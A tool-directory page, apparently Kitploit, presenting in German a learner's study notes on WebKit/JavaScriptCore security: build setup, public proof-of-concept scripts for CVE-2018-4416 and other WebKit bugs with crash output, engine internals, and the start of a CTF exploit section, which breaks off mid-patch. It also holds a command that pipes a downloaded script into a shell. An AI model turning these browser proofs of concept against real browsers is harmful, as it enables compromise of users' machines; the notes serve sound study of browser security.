Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2018-4416-exploit — CVE-Exploit für WebKit jsc CVE-2018-4416 | Kitploit
Tools/GitHubGitHub/erupmi/cve-2018-4416-exploit
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPapers & ForschungLernen & BildungLernpfade & KurseBinary-Exploitation
GitHuberupmi/cve-2018-4416-exploit

CVE-2018-4416-exploit

CVE-Exploit für WebKit jsc CVE-2018-4416

Repository anzeigen
93vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
  • Vorwort :PROPERTIES: :CUSTOM_ID: preface :END: Okay, binäre Sicherheit beschränkt sich nicht nur auf /Heap/ und /Stack/; wir haben noch viel zu entdecken, abgesehen von den üblichen CTF-Herausforderungen. Browser, Virtuelle Maschinen und Kernel spielen alle eine wichtige Rolle in der binären Sicherheit. Und ich habe mich entschieden, zuerst den Browser zu studieren.

Ich wähle einen relativ einfachen: /WebKit/. (ChakraCore wäre vielleicht einfacher, LoL. Aber es gibt ein Gerücht, dass Microsoft das Projekt aufgibt. Deshalb habe ich mich dagegen entschieden.)

Ich werde eine Reihe von Beiträgen schreiben, um meine Notizen beim Studium der /WebKit/-Sicherheit festzuhalten. Es ist auch mein erstes Mal, dass ich Browser-Sicherheit lerne, meine Beiträge werden wahrscheinlich viele Fehler enthalten. Wenn dir welche auffallen, zögere nicht, mich zur Korrektur zu kontaktieren.

Bevor du dies liest, solltest du Folgendes kennen: - C++-Grammatik - Assemblersprach-Grammatik - Installation einer virtuellen Maschine - Vertrautheit mit Ubuntu und seiner Befehlszeile - Grundlegende Compilerbau-Konzepte


  • Einrichtung :PROPERTIES: :CUSTOM_ID: setup :END: Okay, lass uns jetzt beginnen.

** Virtuelle Maschine :PROPERTIES: :CUSTOM_ID: virtual-machine :END: Zuerst müssen wir eine VM als unser Testziel installieren. Hier wähle ich /Ubuntu 18.04 LTS/ und /Ubuntu 16.04 LTS/ als Zielhost. Du kannst sie [[https://www.ubuntu.com/][hier]] herunterladen. Wenn ich die Version nicht angebe, verwende bitte 18.04 LTS als Standardversion.

Mac wäre vielleicht eine geeignetere Wahl, da es XCode und Safari hat. Angesichts des hohen Ressourcenverbrauchs und der instabilen Updates von MacOS verwende ich lieber Ubuntu.

Wir brauchen eine VM-Software. Ich bevorzuge [[https://www.vmware.com/][VMWare]]. Parallel Desktop und VirtualBox (kostenlos) sind auch in Ordnung, es hängt von deinen persönlichen Gewohnheiten ab.

Ich werde dir nicht Schritt für Schritt erklären, wie man Ubuntu auf VMWare installiert. Ich möchte dich jedoch daran erinnern, so viel Speicher und CPUs wie möglich zuzuweisen, da die Kompilierung eine große Menge an Ressourcen verbraucht. Eine 80-GB-Festplatte sollte ausreichen, um Quellcode und kompilierte Dateien zu speichern.

** Quellcode :PROPERTIES: :CUSTOM_ID: source-code :END: Du kannst den WebKit-Quellcode auf drei Arten herunterladen: [[https://github.com/WebKit/webkit][/git/]], /svn/ und [[https://webkit.org/getting-the-code/][/archive/]].

Der Standard-Versionsverwalter von WebKit ist svn. Aber ich wähle git (ich bin mit svn zu wenig vertraut):

#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example

** Debugger und Editor :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: IDE verbraucht viele Ressourcen, daher verwende ich vim zum Bearbeiten des Quellcodes.

Die meisten Debug-Arbeiten, die ich gesehen habe, verwenden lldb, mit dem ich nicht vertraut bin. Daher installiere ich auch gdb mit dem gef-Plugin.

#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src

** Test :PROPERTIES: :CUSTOM_ID: test :END: *** Kompilieren von JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: Das Kompilieren eines vollständigen WebKit dauert sehr lange. Wir kompilieren vorerst nur JSC (JavaScriptCore), wo die meisten Schwachstellen herkommen.

Du solltest dich jetzt im Wurzelverzeichnis des WebKit-Quellcodes befinden. Führe dies aus, um Abhängigkeiten vorzubereiten:

#+begin_src shell Tools/gtk/install-dependencies #+end_src

Auch wenn wir jetzt noch nicht das vollständige WebKit kompilieren, kannst du die restlichen Abhängigkeiten für zukünftige Tests zuerst installieren. Dieser Schritt ist zum Kompilieren von JSC nicht erforderlich, wenn du nicht zu viel Zeit aufwenden möchtest:

#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src

Danach können wir JSC kompilieren:

#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src

Einige Minuten später können wir JSC ausführen mit:

#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src

Machen wir ein paar Tests:

#+begin_example

1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example

*** Auslösen von Fehlern :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:

#+begin_quote Hier Ubuntu 18.04 LTS #+end_quote

Wir verwenden [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] zum Testen, hier ist der PoC. Speichere ihn in =poc.js= im selben Ordner wie =jsc=:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {

root@kitploit:~
  }

  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
      tmp.__proto__ = {};

      gc();

      obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.

      return obj[k];  // Type confusion.
  }

}

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;

let fake_object = opt(fake_object_memory); print(fake_object); #+end_example

Wechsle zuerst zur verwundbaren Version:

#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example

#+begin_quote Dies kann sogar noch mehr Zeit in Anspruch nehmen als das Kompilieren #+end_quote

Führe aus: =./jsc poc.js=, und wir erhalten:

#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example

Wenn wir dies auf der neuesten Version ausführen (=git checkout master= zum Zurückwechseln und Build-Inhalt löschen =rm -rf WebKitBuild/Relase/= und =rm -rf WebKitBuild/Debug/=):

#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined

================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(...)

... // lots of error message

SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example

Jetzt haben wir erfolgreich einen Fehler ausgelöst!

Ich werde nicht ins Detail gehen (ich weiß es auch nicht). Hoffentlich können wir die Ursache in ein paar Wochen herausfinden.


  • Grundlegendes zu WebKit-Schwachstellen :PROPERTIES: :CUSTOM_ID: understanding-webkit-vulnerability :END: Jetzt ist es an der Zeit, etwas tiefer zu gehen. Bevor wir über die Architektur von WebKit sprechen, wollen wir uns die häufigsten Fehler in WebKit ansehen.

Hier diskutiere ich nur Fehler auf binärer Ebene. Einige höherwertige Fehler wie /URL-Spoofing/ oder /UXSS/ sind nicht unser Thema. Die folgenden Beispiele stammen nicht nur aus WebKit. Einige sind Chrome-Fehler. Wir werden sie kurz vorstellen. Und später spezifisch PoC analysieren.

Bevor du diesen Teil liest, wird dringend empfohlen, einige Materialien zur Compiler-Theorie zu lesen. Grundlegende Pwn-Kenntnisse sollten ebenfalls vorhanden sein. Meine Erklärungen sind nicht klar. Korrigiere meine Fehler, wenn du welche findest.

Dieser Beitrag wird mehrmals aktualisiert, wenn mein Verständnis von JSC tiefer wird. Vergiss nicht, später noch einmal vorbeizuschauen.

** 1. Use After Free :PROPERTIES: :CUSTOM_ID: use-after-free :END: Auch bekannt als =UAF=. Dies ist in CTF-Herausforderungen üblich, ein klassisches Szenario:

#+begin_src C char* a = malloc(0x100); free(a); printf("%s", a); #+end_src

Aufgrund einiger Logikfehler wird der Code den freigegebenen Speicher wiederverwenden. Normalerweise können wir Speicher leaken oder beschreiben, sobald wir den freigegebenen Speicher kontrollieren.

CVE-2017-13791 ist ein Beispiel für WebKit UAF. Hier ist der PoC:

#+begin_example

a b #+end_example

** 2. Out of Bound :PROPERTIES: :CUSTOM_ID: out-of-bound :END: Auch bekannt als =OOB=. Es ist wie der Überlauf im Browser. Dennoch können wir nahegelegenen Speicher lesen/beschreiben. =OOB= tritt häufig bei falscher Optimierung eines Arrays oder unzureichender Prüfung auf. Zum Beispiel ([[https://bugs.chromium.org/p/project-zero/issues/detail?id=1033][CVE-2017-2447]]):

#+begin_example var ba; function s(){ ba = this; }

function dummy(){ alert("just a function"); }

Object.defineProperty(Array.prototype, "0", {set : s }); var f = dummy.bind({}, 1, 2, 3, 4); ba.length = 100000; f(1, 2, 3); #+end_example

#+begin_quote When Function.bind is called, the arguments to the call are transferred to an Array before they are passed to JSBoundFunction::JSBoundFunction. Since it is possible that the Array prototype has had a setter added to it, it is possible for user script to obtain a reference to this Array, and alter it so that the length is longer than the backing native butterfly array. Then when boundFunctionCall attempts to copy this array to the call parameters, it assumes the length is not longer than the allocated array (which would be true if it wasn't altered) and reads out of bounds. #+end_quote

In den meisten Fällen können wir das =$RIP=-Register nicht direkt überschreiben. Exploit-Autoren erstellen immer gefälschte Arrays, um partielles R/W in beliebiges R/W umzuwandeln.

** 3. Type Confusion :PROPERTIES: :CUSTOM_ID: type-confusion :END: Es ist eine besondere Schwachstelle, die in Anwendungen mit dem Compiler auftritt. Und dieser Fehler ist etwas schwierig zu erklären.

Stell dir vor, wir haben das folgende Objekt (32 Bit):

#+begin_src C struct example{ int length; char *content; } #+end_src

Wenn wir dann ein Objekt mit einem =length= == =5= und einem =content=- Zeiger im Speicher haben, sieht es wahrscheinlich so aus:

#+begin_example 0x00: 0x00000005 -> length 0x04: 0xdeadbeef -> pointer #+end_example

Sobald wir ein anderes Objekt haben:

#+begin_src C struct exploit{ int length; void (*exp)(); } #+end_src

Können wir den Compiler zwingen, das =example=-Objekt als =exploit=-Objekt zu parsen. Wir können die =exp=-Funktion auf eine beliebige Adresse setzen und RCE erreichen.

Ein Beispiel für Type Confusion:

#+begin_example var q; function g(){ q = g.caller; return 7; }

var a = [1, 2, 3]; a.length = 4; Object.defineProperty(Array.prototype, "3", {get : g}); [4, 5, 6].concat(a); q(0x77777777, 0x77777777, 0); #+end_example

Zitiert von [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1032][CVE-2017-2446]]

#+begin_quote If a builtin script in webkit is in strict mode, but then calls a function that is not strict, this function is allowed to call Function.caller and can obtain a reference to the strict function. #+end_quote

** 4. Integer Overflow :PROPERTIES: :CUSTOM_ID: integer-overflow :END: Integer Overflow ist auch in CTF üblich. Obwohl Integer Overflow selbst nicht zu RCE führt, kann es wahrscheinlich zu =OOB= führen.

Es ist nicht schwer, diesen Fehler zu verstehen. Stell dir vor, du führst den folgenden Code auf einer 32-Bit-Maschine aus:

#+begin_example mov eax, 0xffffffff add eax, 2 #+end_example

Weil das Maximum von =eax= =0xffffffff= ist. Es kann =0xffffffff= + =2= = =0x100000001= nicht aufnehmen. Daher wird das höhere Byte überlaufen (eliminiert). Das endgültige Ergebnis von =eax= ist =0x00000001=.

Dies ist ein Beispiel aus WebKit ([[https://phoenhex.re/2017-06-02/arrayspread][CVE-2017-2536]]):

#+begin_example var a = new Array(0x7fffffff); var x = [13, 37, ...a, ...a]; #+end_example

#+begin_quote The length is not correctly checked resulting we can overflow the length via expanding an array to the old one. Then, we can use the extensive array to =OOB=. #+end_quote

** 5. Sonstiges :PROPERTIES: :CUSTOM_ID: else :END: Einige Fehler sind schwer zu kategorisieren: - Race Condition - Nicht zugewiesener Speicher - ...

Ich werde sie später im Detail erklären.


  • JavaScriptCore im Detail :PROPERTIES: :CUSTOM_ID: javascriptcore-in-depth :END: Webkit besteht hauptsächlich aus: - JavaScriptCore: JavaScript-Ausführungsengine. - WTF: /Web Template Library/, Ersatz für C++-STL-Bibliothek. Es enthält String-Operationen, Smart Pointer usw. Die Heap-Operation ist hier ebenfalls einzigartig. - DumpRenderTree: Erzeugt =RenderTree= - WebCore: Der komplexeste Teil. Es enthält CSS, DOM, HTML, Rendering usw. Fast jeder Teil des Browsers außer den oben genannten Komponenten.

Und JSC hat: - Lexer - Parser - Start-Interpreter (LLInt) - drei JavaScript-JIT-Compiler, deren Kompilierungszeit allmählich länger wird, aber die Ausführung immer schneller: + Baseline JIT, der anfängliche JIT + ein low-latency optimierender JIT (DFG) + ein high-throughput optimierender JIT (FTL), letzte Phase von JIT - zwei WebAssembly-Ausführungs-Engines: + BBQ + OMG

#+begin_quote Still a disclaimer, this post might be inaccurate or wrong in explaining WebKit mechanisms #+end_quote

Wenn du grundlegende Compilerbau-Kurse belegt hast, sind Lexer und Parser wie üblich, wie in den Vorlesungen gelehrt. Aber der Teil der Codegenerierung ist frustrierend. Es gibt einen Interpreter und drei Compiler, WTF? JSC hat auch viele andere unkonventionelle Funktionen, lass uns einen Blick darauf werfen:

** JSC-Wertdarstellung :PROPERTIES: :CUSTOM_ID: jsc-value-representation :END: Zur einfacheren Identifizierung stellt JSC Werte unterschiedlich dar: - Zeiger : =0000:PPPP:PPPP:PPPP= (beginnt mit 0000, dann seine Adresse) - Double (beginnt mit 0001 oder FFFE): + =0001:::= + =FFFE:::= - Integer: =FFFF:0000:IIII:IIII= (verwende =IIII:IIII= zum Speichern des Werts) - false: =0x06= - true: =0x07= - undefined: =0x0a= - null: =0x02=

=0x0= ist jedoch kein gültiger Wert und kann zu einem Absturz führen.

** JSC-Objektmodell :PROPERTIES: :CUSTOM_ID: jsc-object-model :END: Im Gegensatz zu Java, das feste Klassenmitglieder hat, erlaubt JavaScript das Hinzufügen von Eigenschaften zu jeder Zeit.

Also hat JSC trotz traditionell statisch ausgerichteter Eigenschaften einen Butterfly-Zeiger zum Hinzufügen dynamischer Eigenschaften. Es ist wie ein zusätzliches Array. Lassen wir es in mehreren Situationen erklären.

Auch JSArray wird immer dem Butterfly-Zeiger zugewiesen, da sie sich dynamisch ändern.

Wir können das Konzept leicht anhand des folgenden Diagramms verstehen:

*** 0x0 Schnelles JSObject :PROPERTIES: :CUSTOM_ID: x0-fast-jsobject :END: Die Eigenschaften werden initialisiert:

#+begin_example var o = {f: 5, g: 6}; #+end_example

Der Butterfly-Zeiger wird hier null sein, da wir nur statische Eigenschaften haben:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| NULL | --> Butterfly Pointer

| 0xffff000 | --> 5 in JS format | 000000005 |

| 0xffff000 | | 000000006 | --> 6 in JS format

#+end_example

Lasst uns unser Wissen über JSObject erweitern. Wie wir sehen, hat jede =structure ID= eine passende Strukturtabelle. Innerhalb der Tabelle befinden sich die Eigenschaftsnamen und ihre Offsets. In unserem vorherigen Objekt =o= sieht die Tabelle so aus:

| property name | location | |---------------+-----------| | "f" | inline(0) | | "g" | inline(1) |

Wenn wir einen Wert abrufen wollen (z.B. =var v = o.f=), passieren folgende Aktionen:

#+begin_src cpp if (o->structureID == 42) v = o->inlineStorage[0] else v = slowGet(o, “f”) #+end_src

Du fragst dich vielleicht, warum der Compiler den Wert direkt über den Offset abruft, wenn er weiß, dass die =ID= =42= ist. Dies ist ein Mechanismus namens Inline Caching, der uns hilft, Werte schneller zu erhalten. Wir werden nicht viel darüber sprechen, [[http://www.filpizlo.com/slides/pizlo-icooolps2018-inline-caches-slides.pdf][klicke hier]] für weitere Details.

*** 0x1 JSObject mit dynamisch hinzugefügten Feldern :PROPERTIES: :CUSTOM_ID: x1-jsobject-with-dynamically-added-fields :END: #+begin_example var o = {f: 5, g: 6}; o.h = 7; #+end_example

Jetzt hat der Butterfly einen Slot, der 7 ist.

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0xffff000 | | 0xffff000 | | | 000000007 | | 000000005 | | ------------- -------------- -> | ... | | 0xffff000 | | 000000006 |

#+end_example

*** 0x2 JSArray mit Platz für 3 Array-Elemente :PROPERTIES: :CUSTOM_ID: x2-jsarray-with-room-for-3-array-elements :END: #+begin_example var a = []; #+end_example

Der Butterfly initialisiert ein Array mit geschätzter Größe. Das erste Element =0= bedeutet eine Anzahl von verwendeten Slots. Und =3= bedeutet die maximalen Slots:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0 | | ------------- (8 bits for these two elements) | | 3 | -> ------------- | | ------------- | | ------------- | | ------------- #+end_example

*** 0x3 Objekt mit schnellen Eigenschaften und Array-Elementen :PROPERTIES: :CUSTOM_ID: x3-object-with-fast-properties-and-array-elements :END: #+begin_example var o = {f: 5, g: 6}; o[0] = 7; #+end_example

Wir haben ein Element des Arrays gefüllt, also steigt =0=(verwendete Slots) jetzt auf =1=:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000005 | | | 3 | -------------- -> ------------- | 0xffff000 | | 0xffff000 | | 000000006 | | 000000007 |


root@kitploit:~
                 |   <hole>  |
                 -------------
                 |   <hole>  |
                 -------------

#+end_example*** 0x4 Objekt mit schnellen und dynamischen Eigenschaften und Array-Elementen :PROPERTIES: :CUSTOM_ID: x4-object-with-fast-and-dynamic-properties-and-array-elements :END: #+begin_example var o = {f: 5, g: 6}; o[0] = 7; o.h = 8; #+end_example

Das neue Mitglied wird vor der Zeigeradresse angehängt. Arrays befinden sich auf der rechten Seite und Attribute auf der linken Seite des Butterfly-Zeigers, genau wie der Flügel eines Schmetterlings:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0xffff000 | | 0xffff000 | | | 000000008 | | 000000005 | | ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000006 | | | 2 | -------------- -> ------------- (Zeigeradresse) | 0xffff000 | | 000000007 | ------------- | | ------------- #+end_example

*** 0x5 Exotisches Objekt mit dynamischen Eigenschaften und Array-Elementen :PROPERTIES: :CUSTOM_ID: x5-exotic-object-with-dynamic-properties-and-array-elements :END: #+begin_example var o = new Date(); o[0] = 7; o.h = 8; #+end_example

Wir erweitern den Butterfly um eine eingebaute Klasse, die statischen Eigenschaften bleiben unverändert:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0xffff000 | | < C++ | | | 000000008 | | State > | -> ------------- -------------- | 1 | | < C++ | ------------- | State > | | 2 |


root@kitploit:~
                 | 0xffff000 |
                 | 000000007 |
                 -------------
                 |   <hole>  |
                 -------------

#+end_example

** Typinferenz :PROPERTIES: :CUSTOM_ID: type-inference :END: JavaScript ist eine schwache, dynamisch typisierte Sprache. Der Compiler leistet viel Arbeit bei der Typinferenz, was sie extrem kompliziert macht.

*** Watchpoints :PROPERTIES: :CUSTOM_ID: watchpoints :END: Watchpoints können in den folgenden Fällen auftreten: - haveABadTime - Strukturübergang - InferredValue - InferredType - und viele andere...

Wenn die oben genannten Situationen eintreten, wird geprüft, ob der Watchpoint optimiert wurde. In WebKit wird dies wie folgt dargestellt:

#+begin_src cpp class Watchpoint { public: virtual void fire() = 0; }; #+end_src

Beispielsweise möchte der Compiler =42.toString()= zu ="42"= optimieren (direkt zurückgeben, anstatt Code zur Konvertierung zu verwenden), er prüft, ob es bereits ungültig gemacht wurde. Falls gültig, registriert er einen Watchpoint und führt die Optimierung durch.

** Compiler :PROPERTIES: :CUSTOM_ID: compilers :END: *** 0x0. LLInt :PROPERTIES: :CUSTOM_ID: x0.-llint :END: Ganz am Anfang generiert der Interpreter eine Bytecode-Vorlage. Nehmen wir JVM als Beispiel, um eine =.class=-Datei auszuführen, eine andere Art von Bytecode-Vorlage. Bytecode erleichtert die Ausführung:

#+begin_example parser -> bytecompiler -> generatorfication -> bytecode linker -> LLInt #+end_example

*** 0x1. Baseline JIT und Bytecode-Vorlage :PROPERTIES: :CUSTOM_ID: x1.-baseline-jit-and-byte-code-template :END: Einfachster JIT, der hier eine =Bytecode-Vorlage= generiert. Zum Beispiel dieses /add/ in JavaScript:

#+begin_example function foo(a, b) { return a + b; } #+end_example

Dies ist Bytecode-IL, der ohne aufwendige Lexik auskommt und einfacher in Asm zu übersetzen ist:

#+begin_example [ 0] enter [ 1] get_scope loc3 [ 3] mov loc4, loc3 [ 6] check_traps [ 7] add loc6, arg1, arg2 [12] ret loc6 #+end_example

Die Code-Segmente =7= und =12= können folgendes DFG-IL ergeben (darüber sprechen wir als nächstes). Man erkennt, dass bei der Operation viele typbezogene Informationen enthalten sind. In Zeile 4 prüft der Code, ob der Rückgabetyp übereinstimmt:

#+begin_src cpp GetLocal(Untyped:@1, arg1(B/FlushedInt32), R:Stack(6), bc#7); GetLocal(Untyped:@2, arg2(C/FlushedInt32), R:Stack(7), bc#7); ArithAdd(Int32:@23, Int32:@24, CheckOverflow, Exits, bc#7); MovHint(Untyped:@25, loc6, W:SideState, ClobbersExit, bc#7, ExitInvalid); Return(Untyped:@25, W:SideState, Exits, bc#12); #+end_src

Der AST sieht so aus:

#+begin_example +----------+ | return | +----+-----+ | | +----+-----+ | add | +----------+ | | | | v v +--+---+ +-+----+ | arg1 | | arg2 | +------+ +------+ #+end_example

*** 0x2. DFG :PROPERTIES: :CUSTOM_ID: x2.-dfg :END: Wenn JSC erkennt, dass eine Funktion einige Male ausgeführt wurde, geht es zur nächsten Phase über. Die erste Phase hat bereits Bytecode generiert. Der DFG-Parser parst also direkt den Bytecode, was weniger abstrakt und leichter zu parsen ist. Anschließend optimiert DFG und generiert Code:

#+begin_example DFG bytecode parser -> DFG optimizer -> DFG Backend #+end_example

In diesem Schritt wird der Code viele Male ausgeführt; der Typ ist relativ konstant. Die Typprüfung verwendet OSR.

Stellen wir uns vor, wir optimieren von diesem:

#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // viel Code

x = is_ok(ptr) ? *ptr : slow_path(ptr); y = ... // viel Code z = is_ok(ptr) ? *ptr : slow_path(ptr); return w + x + y + z; } #+end_src

zu diesem:

#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // viel Code

if (!is_ok(ptr)) return foo_base1(ptr, w); x = *ptr; y = ... // viel Code z = *ptr; return w + x + y + z; } #+end_src

Der Code läuft schneller, weil =ptr= nur einmal einer Typprüfung unterzogen wird. Wenn der Typ von /ptr/ jedoch immer unterschiedlich ist, wird der optimierte Code aufgrund häufiger Ausstiege langsamer. Daher verwendet der Browser =OSR= nur, wenn der Code tausende Male ausgeführt wird.

*** 0x3. FLT :PROPERTIES: :CUSTOM_ID: x3.-flt :END: Eine Funktion, die hunderte oder tausende Male ausgeführt wird, verwendet der JIT FLT . Wie DFG verwendet FLT die Bytecode-Vorlage erneut, jedoch mit tiefergehender Optimierung:

#+begin_example DFG bytecode parser -> DFG optimizer -> DFG-to-B3 lowering -> B3 Optimizer -> Instruction Selection -> Air Optimizer -> Air Backend #+end_example

*** 0x4. Mehr zur Optimierung :PROPERTIES: :CUSTOM_ID: x4.-more-about-optimization :END: Werfen wir einen Blick auf die Änderung der IR in verschiedenen Optimierungsphasen:

| IR | Stil | Beispiel | |----------+-------------------------+------------------------------------------------| | Bytecode | High Level Load/Store | =bitor dst, left, right= | | DFG | Medium Level Exotic SSA | =dst: BitOr(Int32:@left, Int32:@right, ...)= | | B3 | Low Level Normal SSA | =Int32 @dst = BitOr(@left, @right)= | | Air | Architectural CISC | =Or32 %src, %dest= |

Die Typprüfung wird schrittweise eliminiert. Jetzt versteht man vielleicht, warum es so viele Typverwechslungen in Browser-CVEs gibt. Zudem ähneln sie zunehmend dem Maschinencode.

Wenn die Typprüfung fehlschlägt, kehrt der Code zur vorherigen IR zurück (z. B. wenn eine Typprüfung in der B3-Phase fehlschlägt, kehrt der Compiler zu DFG zurück und führt dort aus).

** Garbage Collector (TODO) :PROPERTIES: :CUSTOM_ID: garbage-collector-todo :END: Der Heap von JSC basiert auf GC. Die Objekte im Heap haben einen Zähler für ihre Referenzen. GC scannt den Heap, um den ungenutzten Speicher einzusammeln.

...noch nicht genügend Material...


  • Exploit schreiben :PROPERTIES: :CUSTOM_ID: writing-exploitation :END: Bevor wir beginnen, Bugs auszunutzen, sollten wir uns ansehen, wie schwer es ist, einen Exploit zu schreiben. Hier konzentrieren wir uns auf den Exploit-Code; die Details der Schwachstelle werden nicht ausführlich vorgestellt.

Diese Challenge heißt WebKid vom 35c3 CTF. Sie können WebKit-Binaries (mit Anleitung), vorbereitete VM und den Exploit-Code [[https://github.com/saelo/35c3ctf/tree/master/WebKid][hier]] finden. Außerdem sollte macOS Mojave (10.14.2) in einer VM oder auf einem echten Rechner vorbereitet sein (ich denke, es hat keinen Einfluss auf Abstürze in verschiedenen macOS-Versionen, aber die Angriffsprimitive könnte anders sein).

Ausführung mit diesem Befehl:

#+begin_src shell DYLD_LIBRARY_PATH=/Path/to/WebKid DYLD_FRAMEWORK_PATH=/Path/to/WebKid /Path/to/WebKid/MiniBrowser.app/Contents/MacOS/MiniBrowser #+end_src

#+begin_quote Denken Sie daran, VOLLSTÄNDIGE PFADE zu verwenden. Andernfalls stürzt der Browser ab. #+end_quote

Wenn Sie auf einem lokalen Rechner ausführen, denken Sie daran, =/flag1= für Tests zu erstellen.

** Analyse :PROPERTIES: :CUSTOM_ID: analyzing :END: Schauen wir uns den Patch an:

#+begin_example diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp index 20fcd4032ce..a75e4ef47ba 100644 --- a/Source/JavaScriptCore/runtime/JSObject.cpp +++ b/Source/JavaScriptCore/runtime/JSObject.cpp @@ -1920,6 +1920,31 @@ bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, Proper return const_cast<JSObject*>(this)->getPropertySlot(exec, propertyName, slot); }

+static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) +{

  • ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));
  • Structure* previous = structure->previousID();
  • if (!previous)
  • root@kitploit:~
       return false;
    
  • unsigned unused;
  • bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
  • if (!isLastAddedProperty)
  • root@kitploit:~
       return false;
    
  • RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);
  • if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
  • root@kitploit:~
       ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
    
  • root@kitploit:~
